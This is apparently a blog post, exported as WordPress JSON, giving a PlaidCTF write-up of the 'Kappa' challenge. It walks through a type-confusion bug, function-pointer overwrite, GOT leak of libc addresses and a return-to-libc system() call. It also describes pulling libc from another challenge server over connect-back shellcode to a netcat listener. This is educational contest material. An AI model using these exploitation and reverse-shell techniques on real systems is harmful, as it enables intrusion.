{"id":4,"date":"2014-01-03T09:46:57","date_gmt":"2014-01-03T09:46:57","guid":{"rendered":"http:\/\/piratesecurityblog.com\/?p=4"},"modified":"2016-09-28T09:48:18","modified_gmt":"2016-09-28T09:48:18","slug":"plaidctf-writeup-for-pwn-275-kappa-type-confusion-vuln","status":"publish","type":"post","link":"https:\/\/piratesecurityblog.com\/?p=4","title":{"rendered":"PlaidCTF writeup for Pwn-275 \u2013 Kappa (type confusion vuln)"},"content":{"rendered":"<p>This is my last writeup for <a href=\"http:\/\/www.plaidctf.com\/\">PlaidCTF<\/a>! You can get a list of all my writeups <a href=\"https:\/\/blog.skullsecurity.org\/category\/ctfs\/plaidctf-2014\">here<\/a>. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other!<\/p>\n<p>Ultimately, this issue came down to a type-confusion bug that let us read memory and call arbitrary locations. Let&#8217;s see why!<br \/>\n<span id=\"more-1879\"><\/span><\/p>\n<h2>The setup<\/h2>\n<p>When you run <a href=\"https:\/\/blogdata.skullsecurity.org\/kappa\">Kappa<\/a>, you get a Pokemon interface:<\/p>\n<pre>Thank you for helping test CTF plays Pokemon! Keep in mind that this is currently in alpha which means that we will only support one person playing at a time. You will be provided with several options once the game begins, as well as several hidden options for those true CTF Plays Pokemon fans ;). We hope to expand this in the coming months to include even more features!  Enjoy! :)\r\nChoose an Option:\r\n1. Go into the Grass\r\n2. Heal your Pokemon\r\n3. Inpect your Pokemon\r\n4. Release a Pokemon\r\n5. Change Pokemon artwork\r\n<\/pre>\n<p>If you go into the grass, you can capture a Pokemon:<\/p>\n<pre>1   \r\nYou walk into the tall grass!\r\n.\r\n.\r\n.\r\nYou failed to find any Pokemon!\r\nChoose an Option:\r\n1. Go into the Grass\r\n2. Heal your Pokemon\r\n3. Inpect your Pokemon\r\n4. Release a Pokemon\r\n5. Change Pokemon artwork\r\n\r\n1\r\nYou walk into the tall grass!\r\n.\r\n.\r\n.\r\nA wild Kakuna appears!\r\nChoose an Option:\r\n1. Attack\r\n2. Throw Pokeball\r\n3. Run\r\n2\r\nYou throw a Pokeball!\r\nYou successfully caught Kakuna!\r\nWhat would you like to name this Pokemon?\r\nPOKEMON1\r\nChoose an Option:\r\n1. Go into the Grass\r\n2. Heal your Pokemon\r\n3. Inpect your Pokemon\r\n4. Release a Pokemon\r\n5. Change Pokemon artwork\r\n<\/pre>\n<p>&#8230;And so on.<\/p>\n<p>It&#8217;s worth noting that each of those periods represents a second of waiting. Thus, the first thing to do is to get rid of sleep():<\/p>\n<pre><span class=\"Identifier\">@@ -1,5 +1,5 @@<\/span>\r\n\r\n<span class=\"Special\">-kappa:     file format elf32-i386<\/span>\r\n<span class=\"Statement\">+kappa-fixed:     file format elf32-i386<\/span>\r\n\r\n\r\n Disassembly of section .interp:\r\n<span class=\"Identifier\">@@ -1077,19 +1077,35 @@<\/span>\r\n  8048de9:      c7 04 24 74 98 04 08    mov    DWORD PTR [esp],0x8049874\r\n  8048df0:      e8 9b f7 ff ff          call   8048590 &lt;puts@plt&gt;\r\n  8048df5:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1\r\n<span class=\"Special\">- 8048dfc:      e8 5f f7 ff ff          call   8048560 &lt;sleep@plt&gt;<\/span>\r\n<span class=\"Statement\">+ 8048dfc:      90                      nop<\/span>\r\n<span class=\"Statement\">+ 8048dfd:      90                      nop<\/span>\r\n<span class=\"Statement\">+ 8048dfe:      90                      nop<\/span>\r\n<span class=\"Statement\">+ 8048dff:      90                      nop<\/span>\r\n<span class=\"Statement\">+ 8048e00:      90                      nop<\/span>\r\n  8048e01:      c7 04 24 92 98 04 08    mov    DWORD PTR [esp],0x8049892\r\n  8048e08:      e8 83 f7 ff ff          call   8048590 &lt;puts@plt&gt;\r\n  8048e0d:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1\r\n<span class=\"Special\">- 8048e14:      e8 47 f7 ff ff          call   8048560 &lt;sleep@plt&gt;<\/span>\r\n<span class=\"Statement\">+ 8048e14:      90                      nop<\/span>\r\n<span class=\"Statement\">+ 8048e15:      90                      nop<\/span>\r\n<span class=\"Statement\">+ 8048e16:      90                      nop<\/span>\r\n<span class=\"Statement\">+ 8048e17:      90                      nop<\/span>\r\n<span class=\"Statement\">+ 8048e18:      90                      nop<\/span>\r\n  8048e19:      c7 04 24 92 98 04 08    mov    DWORD PTR [esp],0x8049892\r\n  8048e20:      e8 6b f7 ff ff          call   8048590 &lt;puts@plt&gt;\r\n  8048e25:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1\r\n\r\n<\/pre>\n<p>&#8230;and so on<\/p>\n<h2>Types, types, types<\/h2>\n<p>There are three types of Pokemon in the game: Bird Jesus, Kakuna, and Charizard. You can have up to four Pokemon captured at the same time. There is an array of the Pokemon types:<\/p>\n<pre><span class=\"Statement\">.bss<\/span>:0<span class=\"Constant\">804BFC0<\/span> <span class=\"Identifier\">pokemon_types<\/span>   <span class=\"Identifier\">dd<\/span> <span class=\"Constant\">5<\/span> <span class=\"Identifier\">dup<\/span>(?)             <span class=\"Comment\">; DATA XREF: sub_8048960+219w<\/span>\r\n<span class=\"Statement\">.bss<\/span>:0<span class=\"Constant\">804BFC0<\/span>                                         <span class=\"Comment\">; do_heal_pokemon_real+20r ...<\/span>\r\n<span class=\"Statement\">.bss<\/span>:0<span class=\"Constant\">804BFC0<\/span>                                         <span class=\"Comment\">; A list of pokemon types, 1 2 or 3<\/span>\r\n<\/pre>\n<p>&#8230;and also an array of pointers to the actual Pokemon:<\/p>\n<pre><span class=\"Statement\">.bss<\/span>:0<span class=\"Constant\">804BFAC<\/span> <span class=\"Identifier\">pokemon_pointers<\/span> <span class=\"Identifier\">dd<\/span> <span class=\"Constant\">5<\/span> <span class=\"Identifier\">dup<\/span>(?)            <span class=\"Comment\">; DATA XREF: list_pokemon+1Er<\/span>\r\n<span class=\"Statement\">.bss<\/span>:0<span class=\"Constant\">804BFAC<\/span>                                         <span class=\"Comment\">; list_pokemon+2Cr ...<\/span>\r\n                                                      <span class=\"Comment\">; A list of pointers to the captured Pokemon<\/span>\r\n<\/pre>\n<p>The structures for each Pokemon type are also different, and this is really the key:<\/p>\n<pre><span class=\"Constant\">00000000<\/span> <span class=\"Identifier\">pokemon_type_1<\/span>  <span class=\"Identifier\">struc<\/span> <span class=\"Comment\">; (sizeof=0x888)<\/span>\r\n<span class=\"Constant\">00000000<\/span> <span class=\"Identifier\">name<\/span>            <span class=\"Identifier\">db<\/span> <span class=\"Constant\">15<\/span> <span class=\"Identifier\">dup<\/span>(?)\r\n<span class=\"Constant\">0000000F<\/span> <span class=\"Identifier\">artwork<\/span>         <span class=\"Identifier\">db<\/span> <span class=\"Constant\">2153<\/span> <span class=\"Identifier\">dup<\/span>(?)\r\n<span class=\"Constant\">00000878<\/span> <span class=\"Identifier\">health<\/span>          <span class=\"Identifier\">dd<\/span> ?                    <span class=\"Comment\">; XREF: do_heal_pokemon_real+5Bw ; max = 100<\/span>\r\n<span class=\"Constant\">0000087C<\/span> <span class=\"Identifier\">attack_power<\/span>    <span class=\"Identifier\">dd<\/span> ?\r\n<span class=\"Constant\">00000880<\/span> <span class=\"Identifier\">actions<\/span>         <span class=\"Identifier\">dd<\/span> ?\r\n<span class=\"Constant\">00000884<\/span> <span class=\"Identifier\">function_status<\/span> <span class=\"Identifier\">dd<\/span> ?                    <span class=\"Comment\">; XREF: do_inspect_pokemon+79r<\/span>\r\n<span class=\"Constant\">00000888<\/span> <span class=\"Identifier\">pokemon_type_1<\/span>  <span class=\"Identifier\">ends<\/span>\r\n\r\n<span class=\"Constant\">00000000<\/span> <span class=\"Identifier\">pokemon_type_2<\/span>  <span class=\"Identifier\">struc<\/span> <span class=\"Comment\">; (sizeof=0x214)<\/span>\r\n<span class=\"Constant\">00000000<\/span> <span class=\"Identifier\">name<\/span>            <span class=\"Identifier\">db<\/span> <span class=\"Constant\">15<\/span> <span class=\"Identifier\">dup<\/span>(?)\r\n<span class=\"Constant\">0000000F<\/span> <span class=\"Identifier\">artwork<\/span>         <span class=\"Identifier\">db<\/span> <span class=\"Constant\">501<\/span> <span class=\"Identifier\">dup<\/span>(?)\r\n<span class=\"Constant\">00000204<\/span> <span class=\"Identifier\">health<\/span>          <span class=\"Identifier\">dd<\/span> ?                    <span class=\"Comment\">; XREF: do_heal_pokemon_real+80w<\/span>\r\n<span class=\"Constant\">00000208<\/span> <span class=\"Identifier\">attack_power<\/span>    <span class=\"Identifier\">dd<\/span> ?\r\n<span class=\"Constant\">0000020C<\/span> <span class=\"Identifier\">actions<\/span>         <span class=\"Identifier\">dd<\/span> ?\r\n<span class=\"Constant\">00000210<\/span> <span class=\"Identifier\">function_status<\/span> <span class=\"Identifier\">dd<\/span> ?                    <span class=\"Comment\">; XREF: do_inspect_pokemon+A9r<\/span>\r\n<span class=\"Constant\">00000214<\/span> <span class=\"Identifier\">pokemon_type_2<\/span>  <span class=\"Identifier\">ends<\/span>\r\n\r\n<span class=\"Constant\">00000000<\/span> <span class=\"Identifier\">pokemon_type_3<\/span>  <span class=\"Identifier\">struc<\/span> <span class=\"Comment\">; (sizeof=0x5FC)<\/span>\r\n<span class=\"Constant\">00000000<\/span> <span class=\"Identifier\">name<\/span>            <span class=\"Identifier\">db<\/span> <span class=\"Constant\">15<\/span> <span class=\"Identifier\">dup<\/span>(?)            <span class=\"Comment\">; XREF: initialize_bird_jesus+18w<\/span>\r\n<span class=\"Constant\">0000000F<\/span> <span class=\"Identifier\">artwork<\/span>         <span class=\"Identifier\">db<\/span> <span class=\"Constant\">1501<\/span> <span class=\"Identifier\">dup<\/span>(?)          <span class=\"Comment\">; XREF: initialize_bird_jesus+32o<\/span>\r\n<span class=\"Constant\">000005EC<\/span> <span class=\"Identifier\">health<\/span>          <span class=\"Identifier\">dd<\/span> ?                    <span class=\"Comment\">; XREF: do_heal_pokemon_real+36w<\/span>\r\n<span class=\"Constant\">000005EC<\/span>                                         <span class=\"Comment\">; initialize_bird_jesus+55w<\/span>\r\n<span class=\"Constant\">000005F0<\/span> <span class=\"Identifier\">attack_power<\/span>    <span class=\"Identifier\">dd<\/span> ?                    <span class=\"Comment\">; XREF: initialize_bird_jesus+62w<\/span>\r\n<span class=\"Constant\">000005F4<\/span> <span class=\"Identifier\">actions<\/span>         <span class=\"Identifier\">dd<\/span> ?                    <span class=\"Comment\">; XREF: initialize_bird_jesus+48w<\/span>\r\n<span class=\"Constant\">000005F8<\/span> <span class=\"Identifier\">function_status<\/span> <span class=\"Identifier\">dd<\/span> ?                    <span class=\"Comment\">; XREF: do_inspect_pokemon+49r<\/span>\r\n<span class=\"Constant\">000005F8<\/span>                                         <span class=\"Comment\">; initialize_bird_jesus+6Fw<\/span>\r\n<span class=\"Constant\">000005FC<\/span> <span class=\"Identifier\">pokemon_type_3<\/span>  <span class=\"Identifier\">ends<\/span>\r\n<\/pre>\n<p>The three important fields are <tt>artwork<\/tt>, which is a differently sized array for each type, as well as <tt>actions<\/tt> and <tt>function_status<\/tt>. <tt>function_status<\/tt> is particular important, because it&#8217;s a function pointer to the function that displays the Pokemon&#8217;s status. And function pointers are fun. \ud83d\ude42<\/p>\n<h2>Type confusion<\/h2>\n<p>Now, this is where the vulnerability happens. When you capture your sixth Pokemon, it no longer fits in the static 5-element array and asks you to replace one of your old ones:<\/p>\n<pre>What would you like to name this Pokemon?\r\nchar\r\nCaught char\r\nOh no! you don't have any more room for a Pokemon! Choose a Pokemon to replace!\r\nChoose a Pokemon!\r\n1. Bird Jesus\r\n2. Kack1\r\n3. Kack2\r\n4. Kack3\r\n5. Kack4\r\n<\/pre>\n<p>The problem is, when a Pokemon updates a Pokemon of another type, <em>it forgets to update the type array<\/em>, and therefore thinks the Pokemon is of the wrong type! Since each type has a different structure, it means that Bad Stuff happens! If we change out a Pokemon then try to display it, this happens:<\/p>\n<pre>What would you like to name this Pokemon?\r\nchar\r\nCaught char\r\nOh no! you don't have any more room for a Pokemon! Choose a pokemon to replace!\r\nChoose a Pokemon!\r\n1. Bird Jesus\r\n2. Kack1\r\n3. Kack2\r\n4. Kack3\r\n5. Kack4\r\n2\r\n\r\nChoose an Option:\r\n1. Go into the Grass\r\n2. Heal your Pokemon\r\n3. Inpect your Pokemon\r\n4. Release a Pokemon\r\n5. Change Pokemon artwork\r\n\r\n3\r\nHere are all of the stats on your current Pokemon!\r\nName: Bird Jesus\r\n                   ..-`\"-._\r\n                 ,'      ,'`.\r\n               ,f \\   . \/ ,-'-.\r\n              '  `. | |  , ,'`|\r\n             `.-.  \\| | ,.' ,-.\\\r\n              \/| |. ` | \/.'\"||Y .\r\n             . |_|U_\\.|\/\/_U_||. |\r\n             | j    \/   .    \\ |'\r\n              L    \/     \\    .j`\r\n               .  `\"`._,--|  \/\/  \\\r\n               j   `.   ,'  , \\   L\r\n          ____\/      `\"'     \\ L  |\r\n       ,-'   ,'               \\|'-+.\r\n      \/    ,'                  .    \\\r\n     \/    \/                     `    `.\r\n    . |  j                       \\     \\\r\n    |F   |                        '   \\ .\r\n    ||  F                         |   |\\|\r\n    ||  |                         |   | |\r\n    ||  |                         |   | |\r\n    `.._L                         |  ,' '\r\n     .   |                        |,| ,'\r\n      `  |                    '|||  j\/\r\n       `.'    .             ,'   \/  '\r\n         \\\\    `._        ,'    \/ ,'\r\n          .\\         ._ ,'     \/,'\r\n            .  ,   .'| \\  (   \/\/\r\n            j_|'_,'  |  ._'` \/ `.\r\n           ' |  |    |   |  Y    `.\r\n    ,.__  `; |  |-\"\"\"^\"\"\"'  |.--\"\"`\r\n ,--\\   \"\"\" ,    \\  \/ \\ ,-     \"\"\"\"---.\r\n'.--`v.=:.-'  .  L.\"`\"'\"\\   ,  `.,.._ \/`.\r\n     .L    j-\"`.   `\\    j  |`.  \"'--\"\"`-'\r\n     \/ |_,'    L ,-.|   (\/`.)  `-\\.-'\\\r\n    `-\"\"        `. |     l \/     `-\"`-'\r\n                  `      `- mh\r\n\r\nCurrent Health: 960\r\nAttack Power: 20\r\nAttack: Gust\r\nSegmentation fault (core dumped)\r\n<\/pre>\n<p>Where did it crash?<\/p>\n<pre>Core was generated by `.\/kappa-fixed'.\r\nProgram terminated with signal 11, Segmentation fault.\r\n#0  0x22272020 in ?? ()\r\n<\/pre>\n<p>0x22272020? That looks like ascii!<\/p>\n<pre>$ echo -ne '\\x20\\x20\\x27\\x22'\r\n  '\"\r\n<\/pre>\n<p>Space, space, single quote, double quote. That looks suspiciously like the ascii art we see above! And, in fact, it is! The <tt>artwork<\/tt> pointer of the Charizard we just caught overwrote the <tt>function_status<\/tt> pointer of the next Pokemon. Then, when we attempted to call <tt>function_status<\/tt>, it called some ascii art and crashed.<\/p>\n<p>Here&#8217;s what the memory layout is, essentially:<\/p>\n<pre>          [lower addresses]                                                     [higher addresses]\r\n          +--------------------------------------------------------------------------------------+\r\nKakuna:   |name|artworkar|health|power|actions|fcn_status| [...]                                 |\r\n          +----+---------+------+-----+-------+----------+---------------------------------------+\r\n          +----+---------+------+-----+-------+-----------+------+-----+-------+----------+------+\r\nCharizard:|name|artworkartworkartworkartworkartworkartwork|health|power|actions|fcn_status| [...]|\r\n          +----+------------------------------------------+------+-----+-------+----------+------+\r\n          [lower addresses]                                                     [higher addresses]\r\n<\/pre>\n<p>When the Kakuna is replaced by a Charizard, the program still thinks that the Pokemon is a charizard. Then, when it calls fcn_status(), it&#8217;s actually calling an address pointer read from the artwork. If you look at the diagram above, you&#8217;ll see that the same place that Kakuna stores its fcn_status pointer, Charizard stores its artwork.<\/p>\n<p>The best part is, we can change the artwork! And therefore, we can change what Kakuna thinks is the function pointer! Check this out:<\/p>\n<pre>Choose an Option:\r\n1. Go into the Grass\r\n2. Heal your Pokemon\r\n3. Inpect your Pokemon\r\n4. Release a Pokemon\r\n5. Change Pokemon artwork\r\n\r\n5\r\nChoose a Pokemon!\r\n1. Bird Jesus\r\n2. char\r\n\r\n3. 1\r\n\r\n4. 1\r\n\r\n5. 1\r\n\r\n2\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\r\nI'm sure you'll love to show this new art to your friends!\r\n\r\nChoose an Option:\r\n1. Go into the Grass\r\n2. Heal your Pokemon\r\n3. Inpect your Pokemon\r\n4. Release a Pokemon\r\n5. Change Pokemon artwork\r\n\r\n3\r\nHere are all of the stats on your current Pokemon!\r\nName: Bird Jesus\r\n\r\n[...ascii art...]\r\n\r\nCurrent Health: 960\r\nAttack Power: 20\r\nAttack: Gust\r\nSegmentation fault (core dumped)\r\n\r\n$ gdb -q .\/kappa-fixed .\/core\r\nCore was generated by `.\/kappa-fixed'.\r\nProgram terminated with signal 11, Segmentation fault.\r\n#0  0x41414141 in ?? ()\r\n(gdb)\r\n<\/pre>\n<p>Sure enough, we can control the call (and therefore EIP) by overwriting the function pointer!<\/p>\n<h2>The deep blue libc<\/h2>\n<p>All right, we have EIP control, but that was only half the time I spent on this level! The other half was trying to figure out what to do with libc. Basically, I can cause a crash here:<\/p>\n<pre><span class=\"Statement\">.text<\/span>:0<span class=\"Constant\">8049075<\/span>                 <span class=\"Identifier\">mov<\/span>     [<span class=\"Identifier\">esp<\/span>], <span class=\"Identifier\">edx<\/span>\r\n<span class=\"Statement\">.text<\/span>:0<span class=\"Constant\">8049078<\/span>                 <span class=\"Identifier\">call<\/span>    <span class=\"Identifier\">eax<\/span>\r\n<\/pre>\n<p>Where &#8216;edx&#8217; is a pointer to the full structure\u2014the name, etc.\u2014and eax is fully controlled. That means we can call an arbitrary function and pass an arbitrary string value as the first parameter. system(), anyone?<\/p>\n<p>The first thing we tried was jumping to the heap. Suffice to say, that failed. So we had to be more clever and use a return-into-libc attack. The problem was, we didn&#8217;t know where libc was!<\/p>\n<p>Remember earlier when I said that <tt>actions<\/tt> was an important field? Well, the <tt>actions<\/tt> field, normally, is a pointer to the action that the Pokemon can take. Did you see under Bird Jesus&#8217;s status where it said <tt>Attack: Gust<\/tt>? Well, that&#8217;s reading a string pointed to by our struct. By using the same overflow we were using before, we can change where it reads that string from!<\/p>\n<p>To put a kink in it, it&#8217;s actually dereferenced before being read. Which means that whatever we point it to will be dereferenced then printed. So, it&#8217;s a pointer to a string pointer. Meaning we can only read memory if we have a pointer to it!<\/p>\n<p>For our attack, we need a pointer to libc. Luckily, we have the ever-handy Program Relocation Table sitting around, with calls such as this:<\/p>\n<pre><span class=\"Statement\">.plt<\/span>:0<span class=\"Constant\">8048510<\/span> <span class=\"Identifier\">_read<\/span>           <span class=\"Identifier\">proc<\/span> <span class=\"Identifier\">near<\/span>               <span class=\"Comment\">; CODE XREF: sub_8048960+1DCp<\/span>\r\n<span class=\"Statement\">.plt<\/span>:0<span class=\"Constant\">8048510<\/span>                                         <span class=\"Comment\">; do_change_artwork+5A6p<\/span>\r\n<span class=\"Statement\">.plt<\/span>:0<span class=\"Constant\">8048510<\/span>                 <span class=\"Identifier\">jmp<\/span>     <span class=\"Identifier\">ds<\/span>:<span class=\"Identifier\">off_804AEB4<\/span>\r\n<span class=\"Statement\">.plt<\/span>:0<span class=\"Constant\">8048510<\/span> <span class=\"Identifier\">_read<\/span>           <span class=\"Identifier\">endp<\/span>\r\n<\/pre>\n<p>The machine code for making that jump is actually FF 25 B8 AE 04 08. The last 4 bytes\u2014B8 AE 04 08\u2014refer to the address 0x0804aeb8. That address, in turn, stores the actual relocation address of the read() libc call! We chose read() because it happened to be the first one, and it just happened to be the one we grabbed. We could just of easily have used printf() or any other libc function.<\/p>\n<p>To rephrase all that, we can set the Pokemon&#8217;s action to a pointer to a string pointer. If we use 0x08048510+2, then we&#8217;re setting it to a pointer to 0x804AEB4, which in turn is the read() libc call. Then when it tries to print, it&#8217;s going to print the address of read() (and also printf() and some other functions) as a string, until it reaches a NUL byte!<\/p>\n<p>Here&#8217;s what it looks like:<\/p>\n<pre>...\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE\r\nCurrent Health: 69\r\nAttack Power: 9999\r\nAttack: P l\\xB7\\xB0\\xC3d\\xB7@Hg\\xB70\\x98g\\xB7 Df\\xB7f\\x85\r\nName: Kack2\r\n...\r\n<\/pre>\n<p>Remember the series of &#8216;A&#8217;s is the altered artwork. And &#8220;P l\\xb7&#8221; works out to &#8220;50 20 6c b7&#8221;, or &#8220;0xb76c2050&#8221;, a perfectly reasonable pointer to a libc function!<\/p>\n<h2>Pwnage<\/h2>\n<p>All right, we&#8217;re just about done! We have an offset for libc&#8217;s read() function, but what about system()?<\/p>\n<p>This is where we cheated a bit. And by cheated, I mean use a common CTF technique: We stole a copy of libc from <a href=\"https:\/\/blog.skullsecurity.org\/2014\/plaidctf-writeup-for-pwnage-200-a-simple-overflow-bug\">ezhp<\/a>&#8216;s level!<\/p>\n<p>To do this, I re-exploited ezhp, and used connect-back shellcode to netcat that I had running. The netcat was logging into a file using the &#8220;tee&#8221; program:<\/p>\n<pre><span class=\"Identifier\">nc<\/span> -<span class=\"Identifier\">vv<\/span> -<span class=\"Identifier\">l<\/span> -<span class=\"Identifier\">p<\/span> <span class=\"Constant\">55555<\/span> <span class=\"Comment\">| tee libc.hex<\/span>\r\n<\/pre>\n<p>Then once I&#8217;d exploited ezhp and gotten a shell back on that netcat instance, I used &#8216;ldd&#8217; on ezhp&#8217;s binary to find libc:<\/p>\n<pre><span class=\"Identifier\">ldd<\/span> <span class=\"Identifier\">ezhp<\/span>\r\n        <span class=\"Identifier\">linux<\/span>-<span class=\"Identifier\">gate<\/span><span class=\"Statement\">.so<\/span>.<span class=\"Constant\">1<\/span> =&gt;  (<span class=\"Constant\">0xb7759000<\/span>)\r\n        <span class=\"Identifier\">libc<\/span><span class=\"Statement\">.so<\/span>.<span class=\"Constant\">6<\/span> =&gt; \/<span class=\"Identifier\">lib<\/span>\/<span class=\"Identifier\">i686<\/span>\/<span class=\"Identifier\">cmov<\/span>\/<span class=\"Identifier\">libc<\/span><span class=\"Statement\">.so<\/span>.<span class=\"Constant\">6<\/span> (<span class=\"Constant\">0xb7600000<\/span>)\r\n        \/<span class=\"Identifier\">lib<\/span>\/<span class=\"Identifier\">ld<\/span>-<span class=\"Identifier\">linux<\/span><span class=\"Statement\">.so<\/span>.<span class=\"Constant\">2<\/span> (<span class=\"Constant\">0xb775a000<\/span>)\r\n<\/pre>\n<p>Then printed libc.so.6 out in hex:<\/p>\n<pre>xxd -g1 \/lib\/i686\/cmov\/libc.so.6 | head\r\n0000000: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00  .ELF............\r\n0000010: 03 00 03 00 01 00 00 00 00 6e 01 00 34 00 00 00  .........n..4...\r\n0000020: fc 36 14 00 00 00 00 00 34 00 20 00 0a 00 28 00  .6......4. ...(.\r\n0000030: 45 00 44 00 06 00 00 00 34 00 00 00 34 00 00 00  E.D.....4...4...\r\n0000040: 34 00 00 00 40 01 00 00 40 01 00 00 05 00 00 00  4...@...@.......\r\n...\r\n<\/pre>\n<p>Then terminated the connection.<\/p>\n<p>At this point, I had a fairly dirty libc.hex file. I opened it up in vim, removed everything except the hexdump, and saved it. Then I converted it back to binary:<\/p>\n<pre><span class=\"Identifier\">xxd<\/span> -<span class=\"Identifier\">r<\/span> &lt; <span class=\"Identifier\">libc<\/span><span class=\"Statement\">.hex<\/span> &gt; <span class=\"Identifier\">libc<\/span><span class=\"Statement\">.so<\/span>.<span class=\"Constant\">6<\/span>\r\n<\/pre>\n<p>And now I had a pretty typical libc.so copy from the server, and sure enough it was right! Once I had it, I calculated the offset between read() and system(), which turned out to be 0x8b500 bytes.<\/p>\n<p>I then used the following pseudo-code:<\/p>\n<pre><span class=\"Identifier\">return_address<\/span> = <span class=\"Identifier\">read_address<\/span> - <span class=\"Constant\">0x8b500<\/span>\r\n<\/pre>\n<p>to calculate the return address. I set the name of my Pokemon to the command I wanted to run (since the name is the first argument passed into the function). And I ran it!<\/p>\n<p>Because the name of the Pokemon was limited to 15 characters, I ended up using the command <tt>ls -lR \/<\/tt> to find the flag, which gave me a 2.8mb directory listing of the server:<\/p>\n<pre>$ <span class=\"Identifier\">ls<\/span> -<span class=\"Identifier\">lh<\/span> <span class=\"Identifier\">dirlisting<\/span><span class=\"Statement\">.txt<\/span>\r\n-<span class=\"Identifier\">rw<\/span>-<span 